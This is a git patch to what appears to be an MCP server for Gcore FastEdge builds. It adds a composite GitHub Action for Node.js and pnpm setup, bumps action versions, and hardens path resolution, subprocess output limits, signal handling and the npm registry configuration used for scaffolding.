Subject: [PATCH 5/5] copilot pr-test yaml fixed align action versions npm_config --- .github/setup-node/action.yaml | 43 +++++++++++++++++++ .github/workflows/pr-tests.yaml | 15 ++----- docker-entrypoint.sh | 2 +- src/api-client.ts | 2 +- src/tools/api/batch-execute.ts | 2 +- src/tools/api/gcore-api.ts | 2 +- src/tools/local/scaffolding/scaffolds.ts | 6 +-- src/tools/local/workspace/build.ts | 4 +- src/tools/local/workspace/compiler/asBuild.ts | 3 ++ src/tools/local/workspace/compiler/jsBuild.ts | 3 ++ .../local/workspace/compiler/rustBuild.ts | 15 +++++-- src/tools/local/workspace/compiler/utils.ts | 11 +++-- src/utils/index.ts | 10 +++-- 13 files changed, 83 insertions(+), 35 deletions(-) create mode 100755 .github/setup-node/action.yaml diff --git a/.github/setup-node/action.yaml b/.github/setup-node/action.yaml new file mode 100755 index 0000000..16a5a26 --- /dev/null +++ b/.github/setup-node/action.yaml @@ -0,0 +1,43 @@ +name: "Setup Node.js" +description: "Sets up Node.js environment and installs dependencies." +inputs: + node_version: + description: "Node.js version to use, e.g. 20.x" + required: false + default: "24.12.0" + pnpm_version: + description: "pnpm version to use, e.g. 10.x" + required: false + default: "10.x" + +runs: + using: "composite" + steps: + - name: Use Node.js ${{ inputs.node_version }} + uses: actions/setup-node@v4 + with: + node-version: ${{ inputs.node_version }} + + - name: Install pnpm + uses: pnpm/action-setup@v4 + with: + version: ${{ inputs.pnpm_version }} + + - name: Get pnpm store location + shell: bash + run: | + echo "STORE_PATH=$(pnpm store path --silent)" >> $GITHUB_ENV + + - name: Setup pnpm cache + uses: actions/cache@v5 + with: + path: ${{ env.STORE_PATH }} + key: ${{ runner.os }}-pnpm-store-${{ hashFiles('**/pnpm-lock.yaml') }} + restore-keys: | + ${{ runner.os }}-pnpm-store- + + - name: Install dependencies (pnpm) + shell: bash + run: | + pnpm install --frozen-lockfile + # equivalent to npm ci diff --git a/.github/workflows/pr-tests.yaml b/.github/workflows/pr-tests.yaml index 062fc9d..2919f28 100644 --- a/.github/workflows/pr-tests.yaml +++ b/.github/workflows/pr-tests.yaml @@ -11,19 +11,10 @@ jobs: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@v6 - - uses: pnpm/action-setup@v4 - with: - run_install: false - - - uses: actions/setup-node@v4 - with: - node-version-file: .node-version - cache: pnpm - - - name: Install dependencies - run: pnpm install --frozen-lockfile + - name: Setup Node.js + uses: ./.github/setup-node - name: Build server run: pnpm run build:server diff --git a/docker-entrypoint.sh b/docker-entrypoint.sh index f2f059e..00c4109 100755 --- a/docker-entrypoint.sh +++ b/docker-entrypoint.sh @@ -69,7 +69,7 @@ EOF exec setpriv --reuid="$target_uid" --regid="$target_gid" --clear-groups "$@" fi -echo "Warning: running as root — setpriv not found" >&2 +if [ "$(id -u)" = "0" ]; then echo "Warning: running as root — setpriv not found" >&2; fi exec 3< - callGcoreApi({ ...opts, authHeader: `APIKey ${gcoreApiKey}` }); + callGcoreApi({ ...opts, ...(gcoreApiKey ? { authHeader: `APIKey ${gcoreApiKey}` } : {}) }); server.registerTool( "batch_execute", { diff --git a/src/tools/api/gcore-api.ts b/src/tools/api/gcore-api.ts index 16c513f..814e5bf 100644 --- a/src/tools/api/gcore-api.ts +++ b/src/tools/api/gcore-api.ts @@ -68,7 +68,7 @@ export const gcoreApiBodySchema = z export function registerGcoreApiTool(server: McpServer, gcoreApiKey: string) { const authedCaller = (opts: ApiCallOptions) => - callGcoreApi({ ...opts, authHeader: `APIKey ${gcoreApiKey}` }); + callGcoreApi({ ...opts, ...(gcoreApiKey ? { authHeader: `APIKey ${gcoreApiKey}` } : {}) }); server.registerTool( "gcore_api", { diff --git a/src/tools/local/scaffolding/scaffolds.ts b/src/tools/local/scaffolding/scaffolds.ts index 08c895f..74aa96d 100644 --- a/src/tools/local/scaffolding/scaffolds.ts +++ b/src/tools/local/scaffolding/scaffolds.ts @@ -14,12 +14,12 @@ import { normalizePath, INVALID_PATH, buildSubprocessEnv } from "../../../utils/ const CREATE_APP_PKG = "create-fastedge-app@0.0.16"; // Override npm/npx config to prevent a workspace .npmrc from redirecting the -// registry to an attacker-controlled host. USERCONFIG=/dev/null disables the -// user-level config; npm_config_registry overrides the project-level one. +// registry to an attacker-controlled host. npm_config_userconfig=/dev/null +// disables the user-level config; npm_config_registry overrides the project-level one. const NPM_SAFE_ENV = { ...buildSubprocessEnv(), npm_config_registry: "https://registry.npmjs.org/", - NPM_CONFIG_USERCONFIG: "/dev/null", + npm_config_userconfig: "/dev/null", }; import type { Language, ScaffoldTemplateType } from "./types.js"; diff --git a/src/tools/local/workspace/build.ts b/src/tools/local/workspace/build.ts index 6db5214..f9161d3 100644 --- a/src/tools/local/workspace/build.ts +++ b/src/tools/local/workspace/build.ts @@ -29,8 +29,8 @@ export function registerBuildWasmTools( .optional() .describe( "Relative path and filename to the output WASM binary within the workspace. " + - "Optional for AssemblyScript projects — when omitted, the output path is read from " + - "asconfig.json targets.release.outFile. Required for JavaScript and Rust projects." + "Optional — when omitted, AssemblyScript reads the path from asconfig.json targets.release.outFile, " + + "and JavaScript/Rust fall back to wasm/output.wasm." ), tsConfigPath: z .string() diff --git a/src/tools/local/workspace/compiler/asBuild.ts b/src/tools/local/workspace/compiler/asBuild.ts index ba4e0ba..b91a6f1 100644 --- a/src/tools/local/workspace/compiler/asBuild.ts +++ b/src/tools/local/workspace/compiler/asBuild.ts @@ -76,6 +76,9 @@ export async function compileAssemblyScriptBinary( if (result.signal === "SIGKILL") { throw new Error(`asc build timed out after ${MAX_BUILD_MS}ms`); } + if (result.signal) { + throw new Error(`asc build killed by signal ${result.signal}: ${result.stderr}`); + } if (result.code !== 0) { throw new Error(`asc build exited with code ${result.code}: ${result.stderr}`); } diff --git a/src/tools/local/workspace/compiler/jsBuild.ts b/src/tools/local/workspace/compiler/jsBuild.ts index fc66be5..b9c2402 100644 --- a/src/tools/local/workspace/compiler/jsBuild.ts +++ b/src/tools/local/workspace/compiler/jsBuild.ts @@ -41,6 +41,9 @@ export async function compileJavascriptBinary( if (result.signal === "SIGKILL") { throw new Error(`build timed out after ${MAX_BUILD_MS}ms`); } + if (result.signal) { + throw new Error(`build killed by signal ${result.signal}: ${result.stderr}`); + } if (result.code !== 0) { throw new Error(`build exited with code ${result.code}: ${result.stderr}`); } diff --git a/src/tools/local/workspace/compiler/rustBuild.ts b/src/tools/local/workspace/compiler/rustBuild.ts index dfe2093..15da120 100644 --- a/src/tools/local/workspace/compiler/rustBuild.ts +++ b/src/tools/local/workspace/compiler/rustBuild.ts @@ -9,8 +9,10 @@ const MAX_OUTPUT_BYTES = 10 * 1024 * 1024; function findCargoConfig(startDir: string, workspaceRoot: string): string | null { let dir = startDir; - const root = path.resolve(workspaceRoot); - while (dir.startsWith(root) && dir !== path.parse(dir).root) { + let root: string; + try { root = fs.realpathSync(workspaceRoot); } catch { return null; } + const rootPrefix = root + path.sep; + while ((dir === root || dir.startsWith(rootPrefix)) && dir !== path.parse(dir).root) { const configPath = path.join(dir, ".cargo", "config.toml"); if (fs.existsSync(configPath)) { return configPath; @@ -22,8 +24,10 @@ function findCargoConfig(startDir: string, workspaceRoot: string): string | null function findCargoToml(startDir: string, workspaceRoot: string): string | null { let dir = startDir; - const root = path.resolve(workspaceRoot); - while (dir.startsWith(root) && dir !== path.parse(dir).root) { + let root: string; + try { root = fs.realpathSync(workspaceRoot); } catch { return null; } + const rootPrefix = root + path.sep; + while ((dir === root || dir.startsWith(rootPrefix)) && dir !== path.parse(dir).root) { const cargoPath = path.join(dir, "Cargo.toml"); if (fs.existsSync(cargoPath)) { return cargoPath; @@ -94,6 +98,9 @@ export async function compileRustAndFindBinary( if (result.signal === "SIGKILL") { throw new Error(`cargo build timed out after ${MAX_BUILD_MS}ms`); } + if (result.signal) { + throw new Error(`cargo build killed by signal ${result.signal}: ${result.stderr}`); + } if (result.code !== 0) { throw new Error(`cargo build exited with code ${result.code}: ${result.stderr}`); } diff --git a/src/tools/local/workspace/compiler/utils.ts b/src/tools/local/workspace/compiler/utils.ts index fcfe7b6..c5aea76 100644 --- a/src/tools/local/workspace/compiler/utils.ts +++ b/src/tools/local/workspace/compiler/utils.ts @@ -98,8 +98,7 @@ export function spawnBounded( let stdout = ""; let stderr = ""; let truncated = false; - let stdoutBytes = 0; - let stderrBytes = 0; + let totalBytes = 0; function killGroup() { try { process.kill(-child.pid!, "SIGKILL"); } catch { /* ESRCH — already gone */ } @@ -108,8 +107,8 @@ export function spawnBounded( const timer = setTimeout(killGroup, opts.timeoutMs); child.stdout?.on("data", (data: Buffer) => { - stdoutBytes += data.byteLength; - if (stdoutBytes > opts.maxOutputBytes) { + totalBytes += data.byteLength; + if (totalBytes > opts.maxOutputBytes) { truncated = true; killGroup(); return; @@ -118,8 +117,8 @@ export function spawnBounded( }); child.stderr?.on("data", (data: Buffer) => { - stderrBytes += data.byteLength; - if (stderrBytes > opts.maxOutputBytes) { + totalBytes += data.byteLength; + if (totalBytes > opts.maxOutputBytes) { truncated = true; killGroup(); return; diff --git a/src/utils/index.ts b/src/utils/index.ts index 743188b..f0dcd01 100644 --- a/src/utils/index.ts +++ b/src/utils/index.ts @@ -25,7 +25,8 @@ export function normalizePath(workspaceRoot: string, filePath: string): string { return INVALID_PATH; } - const rootReal = realpathSync(workspaceRoot); + let rootReal: string; + try { rootReal = realpathSync(workspaceRoot); } catch { return INVALID_PATH; } const candidate = path.join(rootReal, normalizedPath); // For output paths that don't exist yet, walk up to the nearest existing ancestor. @@ -39,7 +40,8 @@ export function normalizePath(workspaceRoot: string, filePath: string): string { return INVALID_PATH; } if (stat.isSymbolicLink()) return INVALID_PATH; // symlinks rejected - const probeReal = realpathSync(probe); + let probeReal: string; + try { probeReal = realpathSync(probe); } catch { return INVALID_PATH; } if (probeReal !== rootReal && !probeReal.startsWith(rootReal + path.sep)) { return INVALID_PATH; } @@ -64,11 +66,11 @@ export function buildSubprocessEnv(): NodeJS.ProcessEnv { ]; const env: NodeJS.ProcessEnv = {}; for (const k of PASSTHROUGH) { - if (process.env[k]) env[k] = process.env[k]; + if (process.env[k] !== undefined) env[k] = process.env[k]; } // CC_*/CXX_* per-target cross-compiler vars set by the Dockerfile for wasm builds. for (const k of Object.keys(process.env)) { - if (/^(CC|CXX|CFLAGS|CXXFLAGS)_/.test(k) && process.env[k]) env[k] = process.env[k]; + if (/^(CC|CXX|CFLAGS|CXXFLAGS)_/.test(k) && process.env[k] !== undefined) env[k] = process.env[k]; } return env; }